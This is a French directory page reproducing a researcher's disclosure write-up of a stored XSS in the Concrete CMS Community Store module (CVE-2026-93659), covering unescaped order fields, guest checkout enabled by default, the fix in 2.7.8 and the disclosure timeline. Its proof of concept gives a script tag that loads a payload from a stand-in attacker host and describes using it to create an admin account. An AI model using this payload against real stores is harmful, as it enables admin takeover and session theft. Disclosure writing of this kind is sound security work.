Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-93659-writeup — XSS stocké dans Concrete CMS Community Store permettant la prise de contrôle du tableau de bord d'administration | Kitploit
Outils/GitHubGitHub/prince325/cve-2026-93659-writeup
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebArticles et RechercheApprentissage et ÉducationRessources Organisées
GitHub
prince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

XSS stocké dans Concrete CMS Community Store permettant la prise de contrôle du tableau de bord d'administration

Voir le dépôt
28il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-93659 : XSS stocké dans Concrete CMS Community Store menant à la prise de contrôle du tableau de bord d'administration

Résumé

CVECVE-2026-93659
Composantconcretecms-community-store/community_store
TypeCross-Site Scripting stocké (CWE-79)
SévéritéCVSS v4.0 9.3 Critique / v3.1 8.7 Élevée
AffectéToutes les versions antérieures à 2.7.8
Corrigé dans2.7.8
CréditPrince Edem Fiagbedzi (découvreur)

Community Store, un module e-commerce open source pour Concrete CMS, stockait les champs de commande fournis par le client sans les assainir et les rendait sans échappement HTML dans quatre vues destinées à l'administration. Tout visiteur non authentifié pouvait passer une commande avec une charge utile de script dans un champ tel que le prénom de facturation, et la charge utile s'exécutait dans la session authentifiée du tableau de bord d'un gestionnaire de boutique la prochaine fois qu'il ouvrait cette commande, suffisant pour créer un compte administrateur frauduleux ou exfiltrer les données de session.

Ce qui est affecté

Chaque commande comporte des champs fournis par le client : prénom et nom de facturation/livraison, e-mail et téléphone. Ces champs sont stockés tels quels et rendus dans quatre endroits qu'un gestionnaire de boutique consulte régulièrement :

  • la vue de commande d'administration (single_pages/dashboard/store/orders.php)
  • le bon de commande imprimable (elements/order_slip.php)
  • le rapport de ventes (single_pages/dashboard/store/reports/*.php)
  • la page de confirmation de commande côté client (single_pages/checkout/complete.php)

Point crucial : passer une commande ne nécessite aucun compte. Le paramètre de commande en tant qu'invité de Community Store est par défaut sur always, ainsi défini par l'installateur du paquet lui-même à chaque installation fraîche, et non une option que l'opérateur de la boutique doit activer. Il ne s'agit donc pas d'un bug nécessitant une boutique mal configurée ; il est exploitable contre une installation par défaut, prête à l'emploi, sans identifiants requis.

Atténuation

Mettez à jour Community Store vers la version 2.7.8 ou ultérieure. Le correctif ajoute un échappement de sortie approprié aux quatre emplacements de rendu affectés. Il n'existe aucun contournement par configuration en dehors de la mise à jour, car le comportement vulnérable est l'échappement lui-même, et non un paramètre activable.

Détails techniques

Aucun des quatre emplacements de rendu n'échappait les champs contrôlés par le client. Une ligne représentative de la vue de commande d'administration :

<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Aucun appel à h(), l'helper d'échappement de sortie standard de Concrete, à proximité, alors même que le même fichier utilisait correctement h() quelques lignes plus loin pour d'autres valeurs. La validation des entrées n'était pas meilleure : la seule vérification appliquée à ces champs était une limite de longueur (1-255 caractères), rien qui supprimait ou rejetait le HTML.

if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Une charge utile <script> de moins de 255 caractères dans le champ du prénom de facturation passe la validation sans être modifiée, est stockée, puis rendue sans échappement partout où un administrateur consulte la commande.

Le paramètre par défaut de commande en tant qu'invité est défini directement dans l'installateur :

// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

Le contrôleur de commande ne force une connexion que lorsque ce paramètre est sur off (ou option sans indicateur invité), et avec la valeur par défaut installée, cette branche ne se déclenche jamais.

Preuve de concept

Testé contre Community Store v2.7.7 sur Concrete CMS 9.5.2 (labo Docker auto-hébergé, PHP 8.3). Charge utile soumise via une commande invité ordinaire, sans aucune authentification :

billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. L'attaquant soumet une commande d'apparence normale avec la charge utile ci-dessus. Aucun compte, aucune session, aucun cookie.
  2. Un gestionnaire de boutique ouvre Dashboard > Store > Orders et consulte la commande (la charge utile se déclenche de la même manière depuis le bon de commande, le rapport de ventes ou l'e-mail de confirmation du client lui-même ; n'importe lequel des quatre chemins de rendu non échappés fonctionne).
  3. Le script s'exécute avec la session authentifiée du gestionnaire de boutique et le jeton CSRF. Pour confirmer l'impact réel plutôt qu'une simple boîte d'alerte, j'ai hébergé la charge utile moi-même, comme le ferait un attaquant externe, et je l'ai utilisée pour soumettre par programmation le formulaire « ajouter un administrateur » depuis l'intérieur de cette session, transformant une seule commande malveillante en une prise de contrôle complète d'un compte administrateur.

Chronologie de divulgation

  • Signalé au mainteneur via un avis de sécurité GitHub privé
  • Correctif livré par Ryan Hewitt sous le commit 2a802d6, ajoutant l'échappement h() aux quatre emplacements de rendu affectés
  • Correctif inclus dans la version v2.7.8
  • CVE-2026-93659 publié via VulnCheck en tant que CNA, crédité à moi en tant que découvreur

Points à retenir

  • L'échappement de sortie doit être appliqué de manière cohérente sur chaque chemin de rendu pour une valeur donnée, pas seulement les plus évidents. Ce bug a été livré pendant des années parce que trois des quatre emplacements de rendu n'ont apparemment jamais été revus après que le quatrième a été traité correctement.
  • « Nécessite un compte » n'est pas une hypothèse sûre sur laquelle bâtir un modèle de menace pour un module avec accès invité configurable. Vérifiez la valeur par défaut réellement livrée, pas la configuration théorique sûre.
  • Les modules marketplace/communautaires pour les plateformes CMS populaires sont un bon point de départ pour la chasse aux bugs : base d'installations réelle, réellement moins auditée que le cœur.

Références

  • CVE-2026-93659
  • Commit de correction 2a802d6
  • Notes de version v2.7.8
  • Dépôt Community Store
Télécharger l’outil